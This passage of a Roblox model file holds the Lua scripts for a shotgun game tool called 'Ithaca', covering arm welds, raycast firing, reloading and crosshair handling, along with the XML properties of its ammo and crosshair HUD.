&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(0, 1.4, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4554">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Ithaca</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 10
-- How many times per second the gun can fire
local FireRate = 1 / 1.33
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 200
-- In radians the minimum accuracy penalty
local MinSpread = 0.05
-- In radian the maximum accuracy penalty
local MaxSpread = 0.1
-- Number of bullets in a clip
local ClipSize = 4
-- DefaultValue for spare ammo
local SpareAmmo = 40
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.0133
-- Time it takes to reload weapon
local ReloadTime = 4
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.PumpSound:Play()
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;for i = 1,12 do -- Shotgun effect :P
&#9;&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;elseif not hitPlayer then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;Handle.PumpSound:Play()
&#9;&#9;&#9;wait(.2); Handle.Flash.Enabled = false
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX4555">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX4556">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4557">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4558">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4559">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4560">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX4561">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4562">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4563">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX4564">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4565">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4566">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
